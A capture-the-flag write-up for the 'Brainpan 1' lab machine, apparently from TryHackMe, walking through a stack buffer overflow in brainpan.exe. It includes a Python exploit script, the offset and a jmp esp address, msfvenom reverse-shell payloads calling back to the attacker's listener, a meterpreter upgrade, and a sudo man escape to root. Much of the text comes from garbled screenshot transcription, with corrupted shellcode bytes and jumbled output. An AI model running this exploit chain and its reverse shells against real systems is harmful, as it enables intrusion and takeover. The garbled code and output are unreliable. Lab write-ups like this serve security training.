

Brainpan 1

Ok for this machine I will start doing an enumeration with t3k, therefore I will be performing a basic nmap scan on the ports discovered.

Threader 3000 - Multi-threaded Port Scanner
Version 1.0.7
A project by The Mayor

Enter your target IP address or URL here: 10.10.2.55

Scanning target 10.10.2.55
Time started: 2024-03-17 19:53:27.126928

Port 10000 is open
Port 9999 is open

NMAP SCAN

Now I will take a look on both ports to see what's going on on them.

```
(root@scary)-[/home/sky/Desktop/Brainpan1]
# nc 10.10.2.55 9999
[----- WELCOME TO BRAINPAN -----]
[----- ENTER THE PASSWORD -----]

>> password
ACCESS DENIED

(root@scary)-[/home/sky/Desktop/Brainpan1]
# 
```

Since the another port corresponds to a simple http server on python. I will navigate through it via FF

ARE YOU PRACTICING SAFE CODING?

As 2011 proved to be the year of the hack, the need for secure application coding is greater than ever. Application security requirements are heightening in the wake of critical application breaches, meaning knowledge and training must rise to ensure safe coding.

WHAT'S THE BIG DEAL?

Previously, attackers used application vulnerabilities to cause embarrassment and disruption. But now these attackers are exploiting vulnerabilities to steal data and much more:



IP THEFT



MODIFYING VICTIMS' WEBSITES TO DEPLOY MALWARE TO WEBSITE VISITORS



TAKING OVER HIGH-VALUE ACCOUNTS



BREACHING ORGANIZATION PERIMETERS

ARE APPLICATIONS REALLY THAT UNSAFE?



More than 8 out of 10 applications failed to pass OWASP Top 10 when first tested. More than half of all developers received a grade of C or lower on a basic application security assessment.

TOP 5 APPLICATION VULNERABILITIES

Percentage of Web Applications Affected Percentage of Hacks*



Now, since I don't really have an initial foothold or something relevant at the moment, I will perform a directory scan on this web IP address.

```
(root@scary)-[~/home/sky/Desktop/Brainpan1]
# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --threads 50 -u http://10.10.2.55:10000
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.10.2.55:10000
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/bin          (Status: 301) [Size: 0] [--> /bin/]
Progress: 3/210 / 1/1700 (2% 6%) [Gobuster] Get "http://10.10.2.55:10000/index.html": context deadline exceeded (cli)
```

On the /bin directory I found the following:

Directory listing for /bin/

- [brainpan.exe](#)

So lets download it to start the debuggin on this binary.

The result for running it via wine

```
(root@scary)-[/home/sky/Desktop/Brainpan1]
# wine brainpan.exe
0074:err:ole:start_rpcss Failed to start RpcSs service
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
```

Debugger Phase

Lets start Immunity Debugger to perform this task

The screenshot shows the Immunity Debugger interface with the following details:

- Assembly View:** Displays assembly code for the main thread of the brainpan.exe process. The code includes instructions like PUSH EBP, MOV ECX, CALL DWORD PTR DS:[...], and various MOV and NOP instructions.
- Registers View:** Shows the current state of CPU registers. Key values include EAX = 3FFF1000, ECX = 00000000, EDX = 31171280, EBX = 3FFF1000, ESP = 0052FF54, EBP = 0052FF68, ESI = 00000000, EDI = 00000000, and EIP = 31171280.
- Registers (FPU) View:** Shows floating-point unit registers. Values include C0 = ES 002B 32bit 0(FFFFFFF), P1 = CS 0023 32bit 0(FFFFFFF), A0 = SS 002B 32bit 0(FFFFFFF), Z1 = DS 002B 32bit 0(FFFFFFF), S0 = FS 006B 32bit 3FFE2000(FFF), T0 = GS 0063 32bit 0(0), and D0 = 0.
- Hex Dump View:** Provides a hex dump of memory starting at address 31172000, showing mostly FF and 00 bytes.
- Status Bar:** Shows the date and time (Mar 17 8:03 PM) and the current status (Paused).

A uncommon thing about this binary is that when I try to initialize it, the debugger show the following:

The screenshot shows the Immunity Debugger interface after initialization, with the following details:

- Assembly View:** Displays assembly code for the main thread of the brainpan.exe process. The code consists entirely of repeated 31171280 instructions.
- Registers View:** Shows the current state of CPU registers. Key values include EAX = 3FFF1000, ECX = 00000000, EDX = 31171280, EBX = 3FFF1000, ESP = 0052FF50, EBP = 0052FF68, ESI = 00000000, EDI = 00000000, and EIP = 31171281.
- Registers (FPU) View:** Shows floating-point unit registers. Values include C0 = ES 002B 32bit 0(FFFFFFF), P1 = CS 0023 32bit 0(FFFFFFF), A0 = SS 002B 32bit 0(FFFFFFF), Z1 = DS 002B 32bit 0(FFFFFFF), S0 = FS 006B 32bit 3FFE2000(FFF), T0 = GS 0063 32bit 0(0), and D0 = 0.
- Registers (FPU) View (continued):** Shows floating-point unit registers from ST0 to ST3, all set to empty g.
- Registers (FPU) View (continued):** Shows floating-point unit registers from 0052FF54 to 0052FF7C.
- Hex Dump View:** Provides a hex dump of memory starting at address 31172000, showing mostly FF and 00 bytes.
- Status Bar:** Shows the date and time (Mar 17 8:05 PM) and the current status (Terminated).

This is kind of weird, I will test it locally to figure out how this binary works. This binary has a bind with the port 9999 tho.

Forget about it xD

The screenshot shows the Immunity Debugger interface with the following details:

- Registers (FPU) pane:** Shows EAX = 3FFF1000, ECX = 00000000, EDX = 31171280, EBX = 3FFF1000, ESP = 0052FF54, EBP = 0052FF68, ESI = 00000000, EDI = 00000000, and EIP = 31171280.
- Registers pane:** Shows various registers with their current values.
- Memory dump pane:** Shows a dump of memory starting at address 31172000, with bytes FF FF FF FF 00 00 00 00 followed by 'ÿÿÿ...'. It also shows a stack dump from 0052FF64 to 0052FF7C.
- Assembly pane:** Shows the assembly code for the module brainpan, including calls to msvcrt functions like _set_app_type and _atexit.
- Registers pane:** Shows the CPU registers with their current values.

It was just a little stucked. Now we have local access.

Standard behaviour:

```

C:\users\sky\Desktop\Brainpan1\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [AAAAA]
[get_reply] copied 5 bytes to buffer
[+] check is -1
[get_reply] s = [AAAAA]
[get_reply] copied 5 bytes to buffer

```

```

# nc 127.0.0.1 9999
----- WELCOME TO BRAINPAN -----
ENTER THE PASSWORD
>> AAAA
ACCESS DENIED
# 

```

First, I will try a simple request to OVERFLOW THE service:

```

C:\users\sky\Desktop\Brainpan1\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
[get_reply] copied 101 bytes to buffer
[+] check is -1
[get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
[get_reply] copied 101 bytes to buffer

```

```

root@scarily:/home/sky/Desktop/Brainpan1
# py -c "print('A' * 100)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
# 

```

As you can see, its receiving 1 more byte since its counting the initial blank space as an enntry char.

I will try different lengths of multiple 'A' as before until the server is able to handle the number of bytes received.

It crashed with 700 bytes and the EIP was succesfully modified at our conditions.

Registers (FPU)

< < < < <

```
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm"
EDX FFFFFFFF
EBX 3FFF1000
ESP 0052F8F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA."
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
```

I will create a pattern of 1100 bytes, then keep testing the binary, I dont want to take a lot of time explaining so I will just be attaching SS with little descriptions henceforth.

```
└─(root@scary)-[/home/sky/Desktop/Brainpan1]
```

```
# msf-pattern_create -l 1100
```

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A
c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A
l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao
1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9
Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7A
t8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw
6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4
Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B
c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf
1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9
Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
```

Discovering the offset

```
└─(root@scary)-[/home/sky/Desktop/Brainpan1]
```

```
# msf-pattern_offset -l 1100 -q 35724134
```

```
[*] Exact match at offset 524
```

SENDING THE FOLLOWING:

```
#!/usr/bin/env python3

import socket
Brainpan / Debugger Phase

ip = "127.0.0.1"
port = 9999
offset = 524
overflow = "A" * offset
#080414C3
retn = "BBBB"
padding = ""
payload = ''
buffer = overflow + retn + padding + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.sendall(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")
```

CONTROLLING THE EIP

ESI 00000000

EDI 00000000

EIP 5A5A5A5A

C 1 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 1 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 1 FS 006B 32bit 3FFE2000(FFF)
T 0 GS 0063 32bit 0(0)

Finding badchars

```
0BADF00D - Creating working folder c:\mona\brainpan
0BADF00D - Folder created
0BADF00D - (Re)setting logfile c:\mona\brainpan\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xaa"
"\x9a\x9b\x9c\x9d\x9e\x9f\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcc"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xee"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

0BADF00D
0BADF00D Done, wrote 255 bytes to file c:\mona\brainpan\bytearray.txt
0BADF00D Binary output saved in c:\mona\brainpan\bytearray.bin
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.023000
[mona bytearray -b '\x00']
```

Address	Message
0BADF00D	[+] Reading file c:\mona\brainpan\bytarray.bin...
0BADF00D	Read 255 bytes from file
0BADF00D	[+] Preparing output file 'compare.txt'
0BADF00D	- (Re)setting logfile c:\mona\brainpan\compare.txt
0BADF00D	[+] Generating module info table, hang on...
0BADF00D	- Processing modules
0BADF00D	- Done. Let's rock 'n roll.
0BADF00D	[+] c:\mona\brainpan\bytarray.bin has been recognized as RAW bytes.
0BADF00D	[+] Fetched 255 bytes successfully from c:\mona\brainpan\bytarray.bin
0BADF00D	- Comparing 1 location(s)
0BADF00D	Comparing bytes from file with memory :
0052F8F0	[+] Comparing with memory at location : 0x0052f8f0 (stack)
0052F8F0	!!! Hooray, normal shellcode unmodified !!!
0052F8F0	Bytes omitted from input: 00
0BADF00D	
0BADF00D	[+] This mona.py action took 0:00:01.188000

There is no badchars unless the default one "\x00"

Lets create the msf payload

```
(root@scary)-[/home/sky/tools/BOF]
# msfvenom -p windows/shell_reverse_tcp LHOST=10.9.183.98 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] = [
    "[+]\tReading file c:\mona\brainpan\bytarray.bin...",
    "\xd9\xcf\xd9\x74\x24\xf4\x58\xba\x89\xf9\x86\xdf\x33\xc9",
    "\xb1\x52\x83\xe8\xfc\x31\x50\x13\x03\xd9\xea\x64\x2a\x25",
    "\xe4\xeb\xd5\xd5\xf5\x8b\x5c\x30\xc4\x8b\x3b\x31\x77\x3c",
    "\xf\x17\x74\xb7\x1d\x83\x0f\xb5\x89\x4\xb8\x70\xec\x8b",
    "\x39\x28\xcc\x8a\xb9\x33\x01\x6c\x83\xfb\x54\x6d\xc4\xe6",
    "\x95\x3f\x9d\x6d\x0b\xaf\xaa\x38\x90\x44\xe0\xad\x90\xb9",
    "\xb1\xcc\xb1\x6c\xc9\x96\x11\x8f\x1e\x3\x1b\x97\x43\x8e",
    "\xd2\x2c\xb7\x64\xe5\xe4\x89\x85\x4a\xc9\x25\x74\x92\x0e",
    "\x81\x67\xe1\x66\xf1\x1a\xf2\xbd\x8b\xc0\x77\x25\x2b\x82",
    "\x20\x81\xcd\x47\xb6\x42\xc1\x2c\xbc\x0c\xc6\xb3\x11\x27",
    "\xf2\x38\x94\xe7\x72\x7a\xb3\x23\xde\xd8\xda\x72\xba\x8f",
    "\xe3\x64\x65\x6f\x46\xef\x88\x64\xfb\xb2\xc4\x49\x36\x4c"
]
```

Now we need to find the jumps of the binary into the memory

Log data

Address	Message
0BADF00D	- Bad char filter will be applied to pointers : "\x00"
0BADF00D	[+] Generating module info table, hang on...
0BADF00D	- Processing modules
0BADF00D	- Done. Let's rock 'n roll.
0BADF00D	[+] Querying 1 modules
0BADF00D	- Querying module brainpan.exe
0BADF00D	- Search complete, processing results
0BADF00D	[+] Preparing output file 'jmp.txt'
0BADF00D	- (Re)setting logfile c:\mona\brainpan\jmp.txt
0BADF00D	[+] Writing results to c:\mona\brainpan\jmp.txt
0BADF00D	- Number of pointers of type 'jmp esp' : 1
0BADF00D	[+] Results :
311712F3	0x311712f3 : jmp esp {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: Fa
0BADF00D	Found a total of 1 pointers
0BADF00D	[+] This mona.py action took 0:00:03.347000

!mona jmp -r esp -cpb '\x00'

Done!

(root@scary)-[~/home/sky/tools/BOF]

```
# nc -lvpn 4444 ... ESP,B
listening on [any] 4444 ...
connect to [10.9.183.98] from (UNKNOWN) [10.9.183.98] 42408
Microsoft Windows 10.0.19043
CPU: Intel(R) Core(TM) i7-7700K CPU @ 4.20GHz
0BADF00D PTR DS:[<emsvcrt._set_app_type>] msvcrt._set_app_type
31171299 . EB BBFFFFF CALL brainpan_31171150
C:\users\sky\Desktop\Brainpan1>
31171299 . 8D8426 000000 LEA ESI,DWORD PTR DS:[ESI]
311712A0 . 55 PUSH EBP
311712A1 . 89E5 MOV EBP,ESP
311712A3 . 83EC 08 SUB ESP,8
311712A6 . C70424 028000 MOV DWORD PTR SS:[ESP],2
311712A9 . FF15 20511731 CALL DWORD PTR DS:[<emsvcrt._set_app_type>] msvcrt._set_app_type
311712B3 . E8 9BFFFFF CALL brainpan_31171150
311712B8 . 90 NOP
311712B9 . 8D8426 000000 LEA ESI,DWORD PTR DS:[ESI]
311712C0 $ 55 PUSH EBP
311712C1 . 8B0D 3C511731 MOV ECX,DWORD PTR DS:[<emsvcrt.atexit>] msvcrt.atexit
311712C7 . 89E5 MOV EBP,ESP
311712C9 . 5D POP EBP
311712CA . FFE1 JNP ECX
311712CC . B7D426 00 LEA ESI,DWORD PTR DS:[ESI]
311712D0 . 55 PUSH EBP
311712D1 . 8B0D 30511731 MOV ECX,DWORD PTR DS:[<emsvcrt._onexit>] msvcrt._onexit
311712D7 . 89E5 MOV EBP,ESP
311712D9 . 5D POP EBP
```

Address	Hex dump	ASCII
31172000	FF FF FF FF 00 00 00 00 00 00 yyyy....	
31172008	00 00 00 00 00 00 00 00 00	
31172010	00 40 00 00 00 00 00 00 00 ..0.....	
31172018	00 00 00 00 00 00 00 00 00	
31172020	70 1D 17 31 00 00 00 00 p\x11....	
31172028	00 00 00 00 00 00 00 00	
31172030	00 00 00 FF FF FF ..yyyy	
31172038	00 00 00 FF FF FF FF ..yyyy	
31172040	00 00 00 FF FF FF FF ..yyyy	
31172048	00 00 00 00 00 00 00 00	

mona jmp -r esp -cpb '\x00'

(root@scary)-[~/home/sky/Desktop/Brainpan1]

```
# py exploit.py
Sending evil buffer...
Done!
```

(root@scary)-[~/home/sky/Desktop/Brainpan1]

```
# vim exploit.py
```

(root@scary)-[~/home/sky/Desktop/Brainpan1]

```
# py exploit.py
Sending evil buffer...
Done!
```

(root@scary)-[~/home/sky/Desktop/Brainpan1]

```
#
```

Address	Hex dump	ASCII
0052FF50	0052FF68 hyR.	
0052FF54	0052FF54 7BBBBBB000 .>{ RETURN to kernel32.7BBBBBB000	
0052FF58	0052FF58 3FFF1000 .\y?	
0052FF5C	0052FF5C 7BD644F3 0DD0{ RETURN to ntdll.7BD644F3	
0052FF60	0052FF60 7BD644F3 0DD0{ RETURN to ntdll.7BD644F3	
0052FF64	0052FF64 3FFF1000 .\y?	
0052FF68	0052FF68 0052FF80 €yr.	
0052FF6C	0052FF6C 7BD644F3 0DD0{ RETURN to ntdll.7BD644F3	
0052FF70	0052FF70 3FFF1000 .\y?	
0052FF74	0052FF74 00000000	
0052FF78	0052FF78 00000000	

Done! Lets try this on the THM machine instead just bu changing the IP of the exploit.py.

Gaining Initial Access on the machine and performing elevation of privileges.

I changed this to a linux shell since I had not noticed this was a linux OS executing a windows binary via shell

```
Name Current Setting Required Description
-----
Brainpan 1 Debugging Brainpan 1 Brainpan 1 / Debugger Phase
Payload options (linux/x86/shell_reverse_tcp):
Name Current Setting Required Description
-----
CMD /bin/sh* yes yes The command string to execute ('' seh, thread)
LHOST yes yes The listen address (an interface may be specified)
LPORT 4444 9.183.98 yes yes The listen port address (an interface may be specified)
yes yes The listen port
Exploit target:
Id Name
-- --
0 Wildcard Target
Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lhost tun0 info -d command.
lhost => 10.9.183.98
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.9.183.98:4444
[*] Command shell session 1 opened (10.9.183.98:4444 -> 10.10.2.55:44064) at 2024-03-17 22:17:15 -0600
ls
checksrv.sh
web
sudo -l
Matching Defaults entries for puck on this host:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
  (root) NOPASSWD: /home/anansi/bin/anansi_util
[!] Node Type: Rich Text - Date Created: 2024/03/17 - 21:35 - Date Modified: 2024/03/17 - 21:32
```

```
(root@scary)-[~/home/sky/Desktop/Brainpan1]
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.183.98 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xdd\xc1\xd9\x74\x24\xf4\x5a\xbe\x6b\xaf\xe7\x7c\x29\xc9"
"\xb1\x2\x31\x72\x17\x03\x72\x17\x83\x53\x05\x89\x64"
"\x77\x3d\x91\xd5\xc4\x91\x3c\xdb\x43\xf4\x71\xbd\x9e\x77"
"\xe2\x18\x91\x47\xc8\x1a\x98\xce\x2b\x72\x11\x38\x7b\xe0"
"\x4d\x38\x83\xf5\xd1\xb5\x62\x45\xbf\x95\x35\xf6\xe3\x15"
"\x3f\x19\xce\x9a\x6d\xb1\xbf\xb5\xe2\x29\x28\xe5\x2b\xcb"
"\xc1\x70\xd0\x59\x41\x0a\xf6\xed\x6e\xc1\x79";
[root@scary]-[~/home/sky/Desktop/Brainpan1]
# vim exploit.py
[root@scary]-[~/home/sky/Desktop/Brainpan1]
# py exploit.py
[root@scary]-[~/home/sky/Desktop/Brainpan1]
Sending evil buffer...
Done!
[root@scary]-[~/home/sky/Desktop/Brainpan1]
#
```

We got it but I will change to upload the shell to a meterpreter shell now.

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions
Active sessions Debugging Brainpan 1 Brainpan 1 / Debugger Phase / Gaining Initial Access on the machine and performing elevation of privileges.
=====
Gaining Initial Access
Id Name Type
[*] Started reverse Information on 10.9.183.98:4444
[*] Command shell session 1 opened (10.9.183.98:4444 -> 10.10.2.55:44064) at 2024-03-17 22:17:15 -0600
1 shell x86/linux 10.9.183.98:4444 -> 10.10.2.55:44064 (10.10.2.55)
2 meterpreter x86/linux puck @ 10.10.2.55 10.9.183.98:4433 -> 10.10.2.55:34610 (10.10.2.55)
  CHECKSTV.sh
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > []
  Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
  User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
[!] Node Type: Rich Text - Date Created: 2024/03/17 - 21:35 - Date Modified: 2024/03/17 - 22:18
```

```
(root@scary)-[~/home/sky/Desktop/Brainpan1]
# py capsul.py
[root@scary]-[~/home/sky/Desktop/Brainpan1]
Sending evil buffer...
Done!
[root@scary]-[~/home/sky/Desktop/Brainpan1]
#
```

I will spawn a better python shell to work with native linux commands comfy:

```
python -c 'import pty; pty.spawn("/bin/sh")'  
$ 
```

Node Type: Rich Text - Date Created: 2024/03/17 - 21:25 - Date Modified: 2024/03/17 - 22:20

Checking for default privs:

```
sudo -l  
Matching Defaults entries for puck on this host:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User puck may run the following commands on this host:  
    (root) NOPASSWD: /home/anansi/bin/anansi_util  
$ 
```

```
$ sudo /home/anansi/bin/anansi_util  
sudo /home/anansi/bin/anansi_util  
Usage: /home/anansi/bin/anansi_util [action]  
Where [action] is one of:  
    - network      Matching Defaults entries for puck on this host:  
    - proclist     env_reset, mail_badpass,  
    - manual [command] secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:  
$ 
```

User puck may run the following commands on this host:

Lets use this binary as follows:

```
sudo -l  
Matching Defaults entries for puck on this host:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User puck may run the following commands on this host:  
    (root) NOPASSWD: /home/anansi/bin/anansi_util  
$ sudo /home/anansi/bin/anansi_util manual /bin/bash
```

Node Type: Rich Text - Date Created: 2024/03/17 - 21:25 - Date Modified: 2024/03/18 - 00:22

~/.inputrc
Individual readline initialization file

AUTHORS

Brian Fox, Free Software Foundation
bfox@gnu.org

Manual page bash(1) line 5390/5465 99% (press h for help or q to quit)!/bin/bash

Node Type: Rich Text - Date Created: 2024/03/17 - 21:25 - Date Modified: 2024/03/18 - 00:22

User puck may run the following commands on this host:

```
(root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
root@brainpan:/usr/share/man# 
```

Node Type: Rich Text – Date Created: 2024/03/17 – 21:25 – Date Modified: 2024/03/18 – 00:23

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:

```
(root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util manual find
sudo /home/anansi/bin/anansi_util manual find
No manual entry for manual
root@brainpan:/usr/share/man# 
```

Node Type: Rich Text – Date Created: 2024/03/17 – 21:25 – Date Modified: 2024/03/18 – 00:23

This is because the manual let you to execute commands with ! symbol.